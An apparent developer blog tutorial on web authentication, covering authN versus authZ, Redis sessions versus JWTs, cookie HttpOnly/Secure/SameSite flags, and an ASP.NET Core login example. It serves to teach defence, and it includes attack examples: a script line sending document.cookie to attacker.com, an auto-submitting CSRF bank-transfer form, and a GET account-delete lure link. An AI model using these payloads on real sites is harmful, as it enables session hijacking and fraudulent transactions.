Security·
·
22 min read

Web Security 101: Authentication, Cookies, Sessions, and Tokens

Master web security fundamentals. Learn authentication vs authorization, stateful sessions, stateless tokens, and the cookie security trinity.

Kishan Kumar
Kishan Kumar

Author & Creator · CodeToClarity

Every software engineer building their first web application or distributed API eventually hits a wall of conflicting identity advice. Developer forums and social threads overflow with aggressive, polarized rules: some developers claim that traditional server sessions are obsolete and that modern architectures must use JSON Web Tokens for everything. Other engineers counter that storing tokens in browser storage is an operational disaster and that cookies are the only acceptable transport. In the middle of this debate, junior and intermediate developers routinely confuse who a user is with what a user is allowed to do, misapply HTTP status codes, and store sensitive credentials in locations easily harvested by malicious scripts.

Web security does not require guesswork or blind faith in framework defaults. Identity management on the internet is a deterministic engineering discipline governed by HTTP headers, cryptographic signatures, and browser security boundaries. Once you understand how browsers store credentials, how servers validate state, and how network requests travel across origin boundaries, the trade-offs between cookies, sessions, and tokens become straightforward.

Key Takeaways

  • Authentication (AuthN) proves who you are; Authorization (AuthZ) verifies what you are permitted to do.
  • Missing or invalid credentials must yield a 401 Unauthorized status code, while valid users attempting forbidden actions must receive a 403 Forbidden response.
  • Stateful sessions store user data in server memory or a Redis cache and issue a lightweight cookie identifier, enabling instant single-command revocation.
  • Stateless bearer tokens encode user claims directly inside a cryptographically signed payload, allowing decentralized microservices to verify identity without database queries at the cost of delayed revocation.
  • Authentication cookies must enforce the browser security trinity: HttpOnly to eliminate JavaScript token theft, Secure to mandate encrypted HTTPS transport, and SameSite=Strict or SameSite=Lax to neutralize Cross-Site Request Forgery.

Authentication vs Authorization: Who You Are vs What You Can Do

Authentication is the process of verifying a user's claimed identity through credentials such as passwords, passkeys, or certificates, while authorization evaluates whether that authenticated identity possesses permission to access a specific resource or execute an operation. Authentication establishes identity; authorization enforces access boundaries across your application endpoints.

To understand the distinction, consider an airport terminal. When you present your passport and government identification to border control agents, they verify that your physical face matches your official records. They do not care which flight you are boarding or whether you have lounge privileges. This identity verification represents Authentication (AuthN). Once you clear passport control and approach the boarding gate or the premium executive lounge, the gate attendant inspects your boarding pass. Your passport already proved who you are; your boarding pass determines whether your ticket tier grants you access to enter the cabin. This permission check represents Authorization (AuthZ).

Confusing these two concepts leads to widespread bugs in API design, particularly around HTTP status codes. Two status codes in the HTTP specification cause perpetual confusion:

  • 401 Unauthorized (RFC 9110): Despite its confusing historic name, this status code strictly means Unauthenticated. The incoming request lacks valid credentials or presents an expired session identifier. The server refuses to process the request until the client proves its identity.
  • 403 Forbidden: The client is successfully authenticated, and the server knows exactly who the user is. However, the authenticated user does not have sufficient permissions, roles, or tenant rights to access the requested resource. Re-authenticating with the exact same credentials will not change the outcome.

A common anti-pattern in amateur APIs is returning an HTTP 200 OK status with a JSON payload indicating a failure, such as {"success": false, "error": "unauthorized"}. This violates HTTP standards, breaks reverse proxy caching mechanisms, and forces client-side software to parse response bodies just to determine whether a network request succeeded.

Architectural DimensionAuthentication (AuthN)Authorization (AuthZ)
Fundamental Question"Who are you?""Are you permitted to access this resource?"
Typical MechanismPasswords, biometric passkeys, TOTP codes, SSO SAML/OIDC assertionsRoles (RBAC), claims, permissions, Access Control Lists (ACLs)
Failure Status Code401 Unauthorized (Unauthenticated)403 Forbidden (Insufficient permissions)
Execution PointOuter boundary middleware, API gateways, identity providersBusiness logic layer, resource handlers, domain services
State PersistenceSession ID cookie, signed Bearer token, mutual TLS certificateIdentity claims attached to the request context
Transmission VectorCredentials submitted during login endpoint executionContext evaluated against targeted route metadata

For developers designing distributed systems, understanding this boundary is essential. As detailed in the CodeToClarity guide on The Beginner's Guide to OAuth 2.0 (And Why It Is Not For Login), protocols like OAuth 2.0 were designed specifically for delegated authorization rather than identity proof. When you combine identity verification with access delegation, you must maintain clean boundaries between who holds credentials and who issues permissions.


The Identity Architecture Split: Stateful Sessions vs Stateless Tokens

Stateful session authentication stores user identity and session state on the server or a shared cache like Redis while issuing an opaque session identifier cookie to the client. Stateless token authentication encodes user identity and claims directly into a cryptographically signed payload that the client transmits on every request.

Every web application that requires authentication must choose how it remembers users across stateless HTTP requests. The choice between stateful sessions and stateless tokens dictates your database infrastructure, horizontal scaling strategy, and incident response capabilities.

Web Security 101: Authentication Architecture
Web Security 101: Authentication Architecture

1. How Stateful Sessions Work

In a stateful session architecture, the server retains complete control over user state. The workflow operates through five sequential phases:

  1. Initial Login: The user submits their email and password to an authentication endpoint such as POST /api/auth/login.
  2. Credential Validation: The server validates the credentials against a database using salted, memory-hard hashing algorithms such as Argon2id.
  3. Session Record Creation: The server generates a high-entropy, cryptographically random identifier (such as 32 bytes from a secure random number generator, hex-encoded to sess_a9f83e2b9c). The server writes a session record containing the user's primary key, role, and expiration timestamp into a fast distributed cache like Redis (SETEX session:sess_a9f83e2b9c 86400 "{userId:42, role:'Editor'}").
  4. Cookie Dispatch: The server returns an HTTP response containing a Set-Cookie header with the session identifier and protective security flags.
  5. Subsequent Request Validation: When the browser issues subsequent requests, it automatically attaches the Cookie: session_id=sess_a9f83e2b9c header. The server extracts the identifier, executes a sub-millisecond key-value lookup against Redis, and populates the current request context with user data.

The greatest architectural advantage of stateful sessions is instant revocation. If a user loses their laptop, clicks "Log out of all devices", or has their account suspended by an administrator, the server simply deletes the session key from Redis (DEL session:sess_a9f83e2b9c). On the very next HTTP request, the session lookup fails, and the user is instantly locked out.

The primary trade-off of stateful sessions is central storage dependency. Every single incoming HTTP request requires a network round-trip to your Redis cluster or database to verify that the session is still active. If your Redis cluster experiences downtime, your entire platform becomes unauthenticated.

2. How Stateless Bearer Tokens (JWT) Work

Stateless token authentication eliminates the server-side lookup entirely. Instead of storing state in a database, the server packages user claims into a self-contained token, signs that token with a cryptographic key, and hands it to the client:

  1. Authentication: The user logs in via an endpoint such as POST /api/auth/token.
  2. Token Minting: The authentication server constructs a JSON payload containing standardized claims (such as subject sub, expiration exp, and user role role). The server hashes the header and payload with a secret private key using algorithms like HMAC-SHA256 (HS256) or RSA-SHA256 (RS256).
  3. Payload Delivery: The server returns the signed token string directly to the client inside a JSON response: {"access_token": "eyJhbGciOi...", "expires_in": 900}.
  4. Header Transmission: The client stores the token and explicitly attaches it to subsequent HTTP requests using the Authorization header: Authorization: Bearer eyJhbGciOi....
  5. Decentralized Verification: Any backend service or microservice that receives this request does not need to query a central database. It inspects the token's signature using the public key or shared secret, confirms the current time is before the exp timestamp, and immediately trusts the payload claims.

Stateless tokens shine in high-scale distributed architectures. A microservice running in Tokyo can validate a user request minted by an identity server in Frankfurt without performing cross-region database lookups.

However, stateless tokens introduce a severe operational hazard: the revocation challenge. Because a JSON Web Token is cryptographically self-contained and trusted until its expiration timestamp, a compromised token cannot be revoked simply by modifying a database record. If an attacker intercepts a valid access token that has a four-hour expiration window, they can access your APIs for four hours regardless of whether the user changes their password or an administrator deletes the account.

To mitigate this, production token architectures require short token lifetimes (such as 10 to 15 minutes) paired with a stateful refresh token rotation mechanism, as explored in Secure Refresh Token Rotation & Revocation: Preventing Token Theft and Replay Attacks in Distributed APIs. For a comprehensive breakdown of token internal structures, review our guide on How JWT (JSON Web Token) Works: Simple Guide for Developers.

Architectural MetricStateful Sessions (Redis / DB)Stateless Bearer Tokens (JWT)
State Storage LocationServer-side memory, Redis cluster, or SQL databaseClient-side memory, mobile keychain, or HTTP cookie
Database Hits per Request1 fast cache lookup (O(1) memory fetch)0 database lookups (CPU-bound cryptographic check)
Instant Revocation CapabilityNative and instant via single cache key deletionComplex; requires centralized revocation blocklist or short TTL
Network Payload OverheadMinimal; compact 32-byte session string in cookieSignificant; 500 to 1,500 bytes transmitted on every HTTP header
Horizontal Microservice ScalingRequires shared distributed cache across all service nodesHighly decoupled; services verify signatures independently
Tamper ProtectionOpaque identifier; client has zero insight into stateCryptographic signature prevents modification of claims
Primary Failure VectorRedis cluster connection exhaustion or cache outageStolen token replay window before expiration timestamp

The cookie security trinity consists of the HttpOnly, Secure, and SameSite attributes added to HTTP Set-Cookie headers. Together, these browser directives block client-side JavaScript access to neutralize Cross-Site Scripting credential theft, enforce encrypted HTTPS transport against packet sniffing, and prevent cross-origin request transmission to eliminate Cross-Site Request Forgery.

When developers say "cookies are insecure", they are almost always referring to legacy cookies configured without modern security attributes. An unprotected cookie is merely an unvetted text file that the browser passes across the network. However, when configured with the security trinity, HTTP cookies provide the most battle-tested identity transport available in web browsers.

The Cookie Security Trinity: HttpOnly, Secure, and SameSite
The Cookie Security Trinity: HttpOnly, Secure, and SameSite

1. HttpOnly: Neutralizing Cross-Site Scripting (XSS)

By default, any JavaScript code executing in a web page can read and write cookies associated with the current document using the browser's Document Object Model (DOM) interface:

JavaScript
// Unprotected cookies can be read by any script running on the page
console.log(document.cookie);

If your web application contains a single Cross-Site Scripting (XSS) vulnerability, such as an unescaped comment box, an unsafe innerHTML assignment, or a compromised third-party npm analytics package, an attacker can execute arbitrary JavaScript in your user's browser. Without protection, the attacker executes a single line of malicious code:

JavaScript
// Malicious payload exfiltrates cookies to an attacker server
new Image().src = "https://attacker.com/steal?data=" + encodeURIComponent(document.cookie);

The HttpOnly flag completely eliminates this attack vector. When an HTTP response includes HttpOnly in the Set-Cookie header, the browser's networking engine stores the cookie in an isolated partition that is completely invisible to client-side scripts. When malicious code runs document.cookie, the browser returns an empty string or omits the protected cookie entirely. Even if an attacker achieves total JavaScript execution inside the browser tab, they cannot read, copy, or exfiltrate the session identifier.

The official MDN documentation on Using HTTP cookies highlights HttpOnly as the primary defense against session hijacking via cross-site scripting vulnerabilities.

2. Secure: Enforcing Encrypted HTTPS Transport

Hypertext Transfer Protocol (HTTP) transmits data across the internet in plaintext. If a user connects to a public Wi-Fi network at a coffee shop or airport and accesses your website over unencrypted HTTP, any attacker on the same local network running a packet analyzer can capture the session cookie directly from the network packets.

The Secure attribute instructs the browser that the cookie must never be transmitted over an unencrypted connection. The browser will only include the cookie in request headers if the targeted URL begins with https://. If a user accidentally types http://yourdomain.com into their browser bar, the browser strips the session cookie from the initial unencrypted redirect request, ensuring credentials are never broadcast across open airwaves.

The Internet Engineering Task Force formalizes these cookie transport boundaries in RFC 6265: HTTP State Management Mechanism. In modern local development environments, modern browsers treat http://localhost as a secure context, allowing developers to test the Secure flag locally without generating self-signed certificates.

3. SameSite: Neutralizing Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) is an attack where an untrusted third-party website tricks an authenticated user's browser into executing an unauthorized, state-changing action against a trusted web application.

Consider this classic vulnerability scenario:

  1. You log into your banking application at bank.com. The bank stores your session identifier in a standard cookie.
  2. Without logging out, you open a new tab and visit a compromised forum or phishing website at evil-site.com.
  3. The page on evil-site.com contains a hidden HTML form that automatically submits on page load:
    HTML
    <form action="https://bank.com/api/transfer" method="POST">
      <input type="hidden" name="toAccount" value="attacker_999" />
      <input type="hidden" name="amount" value="5000" />
    </form>
    <script>document.forms[0].submit();</script>
    
  4. In legacy browser implementations, when the browser sent that cross-origin POST request to bank.com, it automatically attached your active bank.com session cookies. The bank's server saw a valid session cookie, assumed you intentionally triggered the transfer, and processed the fraudulent transaction.

The SameSite attribute controls whether cookies are sent along with cross-origin requests. It offers three distinct operating modes:

  • SameSite=Strict: The cookie will never be sent on cross-site requests under any circumstances. Even if a user clicks an ordinary link on google.com or github.com leading to your application, the cookie is withheld on that first navigation. The user arrives as unauthenticated until they click a link inside your own domain. This setting is optimal for high-security applications like banking dashboards and admin consoles.
  • SameSite=Lax: The cookie is withheld on dangerous cross-site requests (such as cross-origin POST forms, PUT requests, or image tags) but is attached when a user navigates to your site via top-level, read-only GET links from an external site. This provides a balance between robust CSRF protection and a seamless user experience.
  • SameSite=None: The browser attaches the cookie to all cross-site requests, including embedded iframes and third-party API calls. If you use SameSite=None, modern browsers strictly require you to also append the Secure flag.
Cookie AttributePurpose & GuaranteeAttack Vector NeutralizedRecommended Production Setting
HttpOnlyDisallows JavaScript document.cookie DOM readsCross-Site Scripting (XSS) credential theftMandatory on all session and auth cookies
SecureRestricts transmission strictly to encrypted HTTPSMan-in-the-Middle (MitM) packet sniffingMandatory in all staging and production environments
SameSiteDictates cross-origin request transmission boundariesCross-Site Request Forgery (CSRF)Strict for sensitive APIs; Lax for standard web apps
PathScopes the cookie to specific URL paths on the domainRestricts token leakage to unrelated sub-pathsSet explicitly to Path=/
Max-Age / ExpiresDefines deterministic lifetime in seconds or timestampPrevents indefinite session persistenceSet to realistic expiry (such as 86400 for 24 hours)

Hands-On Implementation: Building a Secure Auth Pipeline

To see these principles in action, we will construct an authentication pipeline using modern C# and ASP.NET Core minimal APIs. The implementation will demonstrate secure password hashing, hardened session cookie issuance, role-based authorization enforcement, and proper HTTP status code handling.

1. Prerequisites and Domain Modeling

Our application defines a developer task management API with two endpoints: a protected task list requiring basic authentication (401 Unauthorized if missing) and an administrative metrics endpoint requiring the Admin role (403 Forbidden if the user is a standard member).

C#
using System.Security.Claims;
using System.Security.Cryptography;
using Microsoft.AspNetCore.Authentication;
using Microsoft.AspNetCore.Authentication.Cookies;
using Microsoft.AspNetCore.Authorization;

var builder = WebApplication.CreateBuilder(args);

// Register cookie authentication handler with hardened security defaults
builder.Services.AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme)
    .AddCookie(options =>
    {
        options.Cookie.Name = "CodeToClarity_Auth";
        options.Cookie.HttpOnly = true;
        options.Cookie.SecurePolicy = CookieSecurePolicy.Always; // Mandates HTTPS
        options.Cookie.SameSite = SameSiteMode.Strict;           // Mitigates CSRF
        options.Cookie.Path = "/";
        options.ExpireTimeSpan = TimeSpan.FromHours(24);
        options.SlidingExpiration = true;

        // Prevent automatic redirection to HTML login page for API clients;
        // Return pure HTTP status codes instead
        options.Events.OnRedirectToLogin = context =>
        {
            context.Response.StatusCode = StatusCodes.Status401Unauthorized;
            return Task.CompletedTask;
        };

        options.Events.OnRedirectToAccessDenied = context =>
        {
            context.Response.StatusCode = StatusCodes.Status403Forbidden;
            return Task.CompletedTask;
        };
    });

// Define role-based authorization policies
builder.Services.AddAuthorizationBuilder()
    .AddPolicy("RequireAdminRole", policy => policy.RequireRole("Admin"));

var app = builder.Build();

app.UseAuthentication();
app.UseAuthorization();

2. Password Hashing Utilities

Storing passwords in plaintext or using fast hash algorithms like SHA-256 without salts is a severe security vulnerability. As explained in our cryptographic primer on Hashing vs Encryption vs Tokenization: A Developer's Guide to Picking the Right Tool, password storage requires slow, memory-hard algorithms. The following utility implements PBKDF2 with HMAC-SHA256 and high iteration counts as a standard demonstration:

C#
public static class CodeToClarityPasswordHasher
{
    private const int SaltSize = 16;     // 128 bits
    private const int HashSize = 32;     // 256 bits
    private const int Iterations = 350000; // PBKDF2 work factor

    public static string HashPassword(string password)
    {
        byte[] salt = RandomNumberGenerator.GetBytes(SaltSize);
        byte[] hash = Rfc2898DeriveBytes.Pbkdf2(
            password,
            salt,
            Iterations,
            HashAlgorithmName.SHA256,
            HashSize);

        // Concatenate salt and hash for storage: {salt}.{hash}
        return $"{Convert.ToBase64String(salt)}.{Convert.ToBase64String(hash)}";
    }

    public static bool VerifyPassword(string password, string storedHashRecord)
    {
        string[] parts = storedHashRecord.Split('.');
        if (parts.Length != 2) return false;

        byte[] salt = Convert.FromBase64String(parts[0]);
        byte[] expectedHash = Convert.FromBase64String(parts[1]);

        byte[] actualHash = Rfc2898DeriveBytes.Pbkdf2(
            password,
            salt,
            Iterations,
            HashAlgorithmName.SHA256,
            HashSize);

        // Constant-time comparison prevents side-channel timing attacks
        return CryptographicOperations.FixedTimeEquals(actualHash, expectedHash);
    }
}

3. Authentication and Protected Route Endpoints

We now define our login, logout, and protected data endpoints:

C#
// Simulated in-memory user repository
var users = new Dictionary<string, (string PasswordHash, string Role)>
{
    ["alex@codetoclarity.in"] = (CodeToClarityPasswordHasher.HashPassword("SecurePass123!"), "Member"),
    ["sarah@codetoclarity.in"] = (CodeToClarityPasswordHasher.HashPassword("AdminPass456!"), "Admin")
};

// 1. Login Endpoint: Issues hardened HttpOnly cookie
app.MapPost("/api/auth/login", async (LoginRequest request, HttpContext context) =>
{
    if (!users.TryGetValue(request.Email, out var userData) ||
        !CodeToClarityPasswordHasher.VerifyPassword(request.Password, userData.PasswordHash))
    {
        return Results.Json(new { error = "Invalid email or password." }, statusCode: StatusCodes.Status401Unauthorized);
    }

    // Construct identity claims
    var claims = new List<Claim>
    {
        new(ClaimTypes.NameIdentifier, request.Email),
        new(ClaimTypes.Email, request.Email),
        new(ClaimTypes.Role, userData.Role)
    };

    var claimsIdentity = new ClaimsIdentity(claims, CookieAuthenticationDefaults.AuthenticationScheme);
    var authProperties = new AuthenticationProperties
    {
        IsPersistent = true, // Persists across browser restarts until MaxAge
        ExpiresUtc = DateTimeOffset.UtcNow.AddHours(24)
    };

    // Signs the principal and automatically dispatches the Set-Cookie response header
    await context.SignInAsync(
        CookieAuthenticationDefaults.AuthenticationScheme,
        new ClaimsPrincipal(claimsIdentity),
        authProperties);

    return Results.Ok(new { message = "Authentication successful.", role = userData.Role });
});

// 2. Logout Endpoint: Purges session cookie
app.MapPost("/api/auth/logout", async (HttpContext context) =>
{
    await context.SignOutAsync(CookieAuthenticationDefaults.AuthenticationScheme);
    return Results.Ok(new { message = "Logged out successfully." });
});

// 3. Protected Endpoint: Requires valid authentication (401 if missing)
app.MapGet("/api/tasks", [Authorize] () =>
{
    return Results.Ok(new[]
    {
        new { Id = 1, Title = "Audit cookie security flags", Completed = true },
        new { Id = 2, Title = "Configure Argon2id password hashing", Completed = false }
    });
});

// 4. Admin Endpoint: Requires 'Admin' role (403 if authenticated user is Member)
app.MapGet("/api/admin/metrics", [Authorize(Policy = "RequireAdminRole")] () =>
{
    return Results.Ok(new
    {
        ActiveSessions = 1420,
        RedisCacheHitRatio = 0.994,
        FailedLoginsLastHour = 3
    });
});

app.Run();

public record LoginRequest(string Email, string Password);

4. Verification with cURL and Developer Tools

To verify that the authentication boundaries behave deterministically, we test the endpoints using curl to inspect the raw HTTP response headers.

Submit a valid login request and inspect the response headers using the -i flag:

Terminal
curl -i -X POST https://localhost:5001/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"sarah@codetoclarity.in", "password":"AdminPass456!"}'

The server response demonstrates the complete cookie security trinity:

HTTP
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Set-Cookie: CodeToClarity_Auth=CfDJ8...; path=/; expires=Sun, 29 Nov 2026 18:00:00 GMT; secure; HttpOnly; SameSite=Strict
Transfer-Encoding: chunked

{"message":"Authentication successful.","role":"Admin"}

Test 2: Unauthenticated Request (401 Unauthorized)

Attempt to access the protected tasks endpoint without providing credentials:

Terminal
curl -i https://localhost:5001/api/tasks

Response status:

HTTP
HTTP/1.1 401 Unauthorized
Date: Sat, 28 Nov 2026 18:05:00 GMT

Test 3: Insufficient Role Permissions (403 Forbidden)

Authenticate as alex@codetoclarity.in (who has the Member role) and attempt to query the administrative metrics endpoint. The server confirms the user's identity, determines that the user lacks the Admin role, and immediately terminates the pipeline:

Terminal
curl -i https://localhost:5001/api/admin/metrics \
  --cookie "CodeToClarity_Auth=CfDJ8MemberToken..."

Response status:

HTTP
HTTP/1.1 403 Forbidden
Date: Sat, 28 Nov 2026 18:06:00 GMT

Test 4: Verifying JavaScript Isolation in the Browser Console

Open your web application in Google Chrome or Firefox, authenticate via the login form, and open the browser's Developer Tools Console (F12). Execute the following command:

JavaScript
document.cookie

The output returns an empty string "" (or displays only non-sensitive marketing cookies). Even though your browser is actively transmitting CodeToClarity_Auth on every network request, the JavaScript engine has zero access to the credential value, confirming that HttpOnly is actively protecting the session.


Real-World Production Gotchas and Traps

Even experienced teams make critical design errors when implementing identity infrastructure. Review these four production traps before launching your next application.

1. The LocalStorage Token Theft Trap

The most frequent security error in Single-Page Applications (SPAs built with React, Vue, or Angular) is storing JWT access tokens in browser window.localStorage or sessionStorage.

Developers often choose this approach because it feels simple:

JavaScript
// DANGEROUS PATTERN: Never store sensitive authentication tokens in localStorage
const response = await fetch("/api/auth/login", { method: "POST", body: credentials });
const data = await response.json();
localStorage.setItem("access_token", data.token);

The fatal flaw of localStorage is that it has zero access protection. Any JavaScript executing in the origin context can read every key-value pair stored inside it. Modern web applications load dozens of third-party npm libraries, analytics trackers, customer support chat widgets, and tag management scripts. If a single dependency in your node_modules tree is compromised via a supply-chain attack, the malicious script can read localStorage.getItem("access_token") and transmit the credentials to an external server in a fraction of a millisecond.

Rule: Store long-lived session identifiers and refresh tokens exclusively in HttpOnly; Secure; SameSite=Lax cookies. If you must use stateless bearer tokens in a Single-Page Application, keep the access token strictly in JavaScript memory (inside a closure or React Context state) so that it is never written to disk or the browser storage API, and fetch new tokens using an HttpOnly refresh cookie.

2. State-Changing Operations on GET Requests

Developers sometimes assume that setting SameSite=Lax makes their application completely immune to Cross-Site Request Forgery. However, SameSite=Lax permits cookies to be attached to top-level cross-site GET navigations.

If your application allows state-changing operations to execute via HTTP GET requests, such as:

HTTP
GET /api/account/delete?confirm=true
GET /api/users/promote?userId=42

An attacker on an external website can simply place an image tag or anchor link pointing to that URL:

HTML
<a href="https://yourdomain.com/api/account/delete?confirm=true">Click here for prize</a>

When an authenticated user clicks that link, the browser executes a top-level GET navigation and transmits the SameSite=Lax session cookie, executing the destructive action.

Rule: Strictly adhere to RESTful semantics. Never execute state-changing actions (creating, updating, or deleting resources) on GET requests. Reserve data mutations exclusively for POST, PUT, PATCH, and DELETE methods, and validate anti-forgery headers on all state-changing endpoints.

3. Misleading Status Codes and Error Obfuscation

Many API developers hesitate to return 401 or 403 status codes, fearing that exposing security rejections reveals information to attackers. Instead, they catch exceptions and return 200 OK or generic 500 Internal Server Error responses.

This practice degrades system observability. API gateways, web application firewalls (WAFs), and automated alerting systems rely on HTTP status code distributions to identify credential-stuffing attacks and brute-force scans. When an API returns 200 OK for failed logins, security monitoring tools cannot differentiate legitimate user activity from an active dictionary attack.

Rule: Use explicit HTTP status codes:

  • Return 401 Unauthorized when credentials are missing, invalid, or expired.
  • Return 403 Forbidden when the identity is confirmed but permissions are inadequate.
  • Return 429 Too Many Requests when a client exceeds rate limits during authentication attempts.

4. DIY Cryptography and Weak Password Hashing

A persistent mistake among software teams is attempting to implement custom encryption algorithms or hashing passwords using general-purpose cryptographic checksums such as MD5, SHA-1, or unsalted SHA-256.

General-purpose hash functions are engineered for speed: a modern gaming graphics card (GPU) can compute over 10 billion SHA-256 hashes per second. If an attacker gains read access to your database through an SQL injection flaw, they can crack an unsalted or single-iteration SHA-256 password hash in minutes using precomputed rainbow tables or offline brute-force clusters.

Rule: Never invent custom cryptographic routines. For password storage, use modern, memory-hard, adaptive algorithms:

  • Argon2id: The gold standard and winner of the Password Hashing Competition.
  • bcrypt: A widely supported, battle-tested standard with configurable work factor rounds.
  • PBKDF2: An acceptable standard when enterprise FIPS compliance restricts cipher suites, provided work factor iterations exceed 300,000 rounds.

The OWASP Foundation maintains comprehensive guidance in their Authentication Cheat Sheet, providing industry-standard parameters for password storage and session lifecycle management.


When NOT to Use Stateless Tokens: Architectural Trade-offs

The software industry frequently treats JSON Web Tokens as the default solution for all web projects. While stateless tokens provide genuine advantages for distributed systems, using them in simple web applications often introduces unnecessary architectural complexity and security vulnerabilities.

When to Choose Stateful Sessions

Stateful sessions remain the superior architectural choice for:

  1. Monolithic Web Applications: If your application consists of a centralized backend service paired with server-rendered HTML (such as ASP.NET Core Razor Pages, Next.js with Server Actions, Django, or Laravel), stateful sessions are simpler, faster to implement, and significantly more secure than token architectures.
  2. Administrative Dashboards and Financial Portals: High-security systems require the ability to instantly revoke a session the moment an account compromise is detected. With stateful sessions in Redis, revoking access is an O(1) memory deletion.
  3. Bandwidth-Sensitive Environments: An opaque session identifier cookie adds approximately 40 bytes to an HTTP request header. A JSON Web Token containing multiple role claims and metadata easily exceeds 1,200 bytes. In high-frequency API environments with thousands of requests per second, transmitting megabytes of redundant token claims over the network creates measurable latency and bandwidth costs.

When Stateless Tokens are Essential

Stateless bearer tokens are the appropriate tool when your architectural requirements include:

  1. Decoupled Microservice Architectures: When dozens of independent services need to validate user requests without placing load on a central session database.
  2. Third-Party API Integrations: When client applications require delegated access to resources without handling primary user credentials, following the OAuth 2.0 and OpenID Connect specifications.
  3. Cross-Domain Mobile Applications: Native iOS and Android clients that communicate with multiple distinct backend domains where browser cookie jars and cross-origin security rules do not apply.

If your team adopts stateless tokens merely to avoid running a Redis cache, you will inevitably discover that implementing token revocation, refresh token rotation, and permission synchronization forces you to build a centralized cache anyway. In that scenario, you have constructed a stateful system that suffers from all the complexity of tokens without enjoying any of the benefits of statelessness.


Conclusion: The Web Security Learning Path

Web security is not an isolated checklist applied at the end of a project; it is an architectural foundation woven into every layer of your application. By clearly separating authentication from authorization, understanding the storage and revocation trade-offs between stateful sessions and stateless tokens, and rigorously applying the cookie security trinity (HttpOnly, Secure, SameSite), you protect your users against the vast majority of web application vulnerabilities.

As your engineering capabilities mature, continue expanding your security knowledge across the CodeToClarity Identity and Security track:

Kishan Kumar
Written by

Kishan Kumar

Full-Stack .NET Developer & Technical Writer

Software engineer passionate about building scalable, production-grade applications with C#, .NET, and modern cloud technologies. Writes regularly on CodeToClarity to demystify complex engineering architectures and help developers grow.

Related Technical Guides

View all guides →